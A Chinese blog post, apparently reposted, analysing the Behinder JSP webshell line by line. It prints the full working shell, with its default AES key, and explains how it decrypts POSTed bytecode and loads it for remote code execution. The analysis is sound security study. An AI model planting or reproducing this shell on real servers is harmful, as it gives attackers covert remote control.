[JAVA安全webshell]冰蝎jsp木马分析

这篇具有很好参考价值的文章主要介绍了[JAVA安全webshell]冰蝎jsp木马分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


前言

只是分享一下对冰蝎webshell分析的一个学习过程,冰蝎webshell使用了加载字节码的方式执行恶意代码。


正文

首先打开webshell[JAVA安全webshell]冰蝎jsp木马分析
这么一行实在不好看,先把他分行吧。

分完行之后,就很清晰明了了。
[JAVA安全webshell]冰蝎jsp木马分析

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
    U(ClassLoader c){
        super(c);
    }

    public Class g(byte []b){
        return super.defineClass(b,0,b.length);
    }
}%>
<%if (request.getMethod().equals("POST"))
{
    String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>

导入了三个依赖,一个是标准库,两个估计用于加密。

然后定义了一个类U,继承自ClassLoader,盲猜是用加载字节码的方式来执行命令,后面实现了g公有函数,函数里调用了defineClass(这可是加载恶意类的关键)

接下来就是主函数的部分。首先判断请求方式是否为POST(它希望是)。定义了一个字符串k,是连接的密钥,注释中有详细说明。

接下来用putValue往session中存入一个键为u,值为密钥的键值对。也就是把密钥存入session的意思(putValue应该和setAttribute功能差不多,百度了一下,发现putValue从servlet版本上被setAttribute代替了)。

接着实例化了一个Cipher类。

javax.crypto.Cipher类是从jdk1.4就开始引入,所属jdk拓展包Java Cryptographic Extension(JCE)框架,该框架主要用于加密解密和密码功能

从它传入的参数得知,c是一个用于AES加密的工具。

[JAVA安全webshell]冰蝎jsp木马分析

(刚开始想跟进去分析Cipher类的代码,但一想,实在没必要,这属于此类的应用场景,那只需要去百度怎么用就好了。。。。给自己无语住了)

接下来执行算法的初始化,c.init(),使用密钥和一组算法参数初始化此密码算法。看一下官方文档,这些api。

[JAVA安全webshell]冰蝎jsp木马分析

opmode是常量。

[JAVA安全webshell]冰蝎jsp木马分析

看回源码这一行。

c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

很明显,第一个参数,指定了密码的模式,第二个参数就是一个KEY类的实例,KEY类也很单纯,抛去各种方法,函数,也就是两个变量,一个是密钥,一个是算法名。

[JAVA安全webshell]冰蝎jsp木马分析

模式2是什么,虽然能猜到受控端肯定是解密模式,但是还是在里面看了一下。模式为decryption,解密。

[JAVA安全webshell]冰蝎jsp木马分析

最后一行才是主要部分。

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

嵌套了不少层,从里往外看。首先读取了post包的body部分的首行。

request.getReader().readLine()

然后,使用BASE64解码该行。

new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())

然后调用上面所说的密码工具对其进行AES解密(解密模式在init初始化时由2决定)。

c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))

实例化了一个U类,在构造函数中取得了一个ClassLoader作为父类,来给U调用父类的构造方法。

new U(this.getClass().getClassLoader())

[JAVA安全webshell]冰蝎jsp木马分析

然后调用它的g方法来执行defineClass,也就是加载字节码,参数是上面解密后的内容。然后newInstance实例化(define不会执行任何初始化代码,包括static和constructor)

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance()

到这里就结束了。发送过去的payload形式应当是恶意类的字节码,并且经过AES加密之后再base64编码。


最后

大佬们,请多多留言指正和指导,谢谢大佬们啦。文章来源地址https://www.toymoban.com/news/detail-492908.html

到了这里,关于[JAVA安全webshell]冰蝎jsp木马分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 渗透测试-菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析

    在测试过程中,我们经常会运到各种webshell管理工具,这里我介绍几种常见的webshell工具给大家。 webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访

    2024年02月16日
    浏览(33)
  • 菜刀、蚁剑以及冰蝎三款Webshell管理工具简介

    今天继续给大家介绍渗透测试相关知识,本文主要内容是菜刀、蚁剑以及冰蝎三款Webshell管理工具简介。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透测试! 当前,在

    2024年02月06日
    浏览(48)
  • webshell管理工具-冰蝎(Behinder)的安装和基础使用(msf联动,流量特征)

    冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,由于通信流量被加密,传统的WAF、IDS 设备 难以 检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密密钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。 gi

    2024年02月02日
    浏览(50)
  • 免费简单好用的 webshell 在线检测:支持 php、jsp、asp等多格式文件

    话不多说,直接上图上链接:https://rivers.chaitin.cn/?share=3d4f2e8aaec211eea5550242c0a8170c 还是比较好用的,支持 PHP、JSP 文件 webshell 检测,看官方解释文档,引擎使用静态文本特征、骨架哈希、静态语义分析、动态污点追踪、动态插桩内存等检测技术,听起来比较高级。 也提供 API 接

    2024年02月02日
    浏览(49)
  • 冰蝎4.0特征分析及流量检测思路

    冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。老牌Webshell管理神器——中国菜刀的攻击流量特征明显,容易被各类安全设备检测,实际场景中越来越少使用,加密 Webshell 正变得日趋流行。 由于通信流量被加密,传统的 WAF、IDS 设备难以检测,给威胁狩猎带

    2024年02月06日
    浏览(43)
  • 冰蝎各版本工具分析与魔改思路

    github项目:https://github.com/rebeyond/Behinder/releases/ V2 源码:https://github.com/hktalent/afterLoader 执行流程图: 首次连接一句话服务端时,客户端首先向服务器端发起GET请求,只有一个参数,格式为?pass=123形式,服务器端随机产生一个128位的密钥,把密钥回显给客户端,同时把密钥写进

    2024年02月04日
    浏览(31)
  • 网络安全工具冰蝎(behinder)3.0使用教程

    目录 下载工具 上传文件 连接 rebeyond/Behinder: “冰蝎”动态二进制加密网站管理客户端 (github.com) 将server中的文件上传    我的是java所以选择shell.jsp 输入我们上传的地址,之后密码填写rebeyond

    2024年02月13日
    浏览(42)
  • 养老院安全管理系统(JSP+java+springmvc+mysql+MyBatis)

    本项目包含程序+源码+数据库+LW+调试部署环境,文末可获取一份本项目的java源码和数据库参考。   随着社会老龄化的加剧,养老院成为越来越多老年人的生活场所。然而,养老院的安全管理问题也日益凸显,包括消防安全、医疗急救、人员出入等方面的挑战。因此,开发一

    2024年04月11日
    浏览(47)
  • Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

    本文将会从攻防的角度分析常用 webshell 管理工具(菜刀、蚁剑、冰蝎2.0,冰蝎3.0、哥斯拉将在下篇介绍)的流量特点,后半部分会整理一些有关 webshell 入侵检测和应急响应的文章 先从最简单的开始吧,菜刀也算是比较早的 webshell 管理工具了,加密方式比较简单,这里分析

    2024年02月02日
    浏览(40)
  • JSP毕业设计2620基于Java的校车安全管理系统【源代码+文档+调试+讲解】

    本文详细阐述了一个校车安全管理系统的设计与实现过程。该系统针对管理员、家长、教师和司机四种用户角色,提供了丰富的功能以满足校车运营的安全性和便捷性需求。通过班级管理、司机管理、教师管理、家长管理、公告管理、线路管理、订单管理和意见反馈管理等核

    2024年02月03日
    浏览(65)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包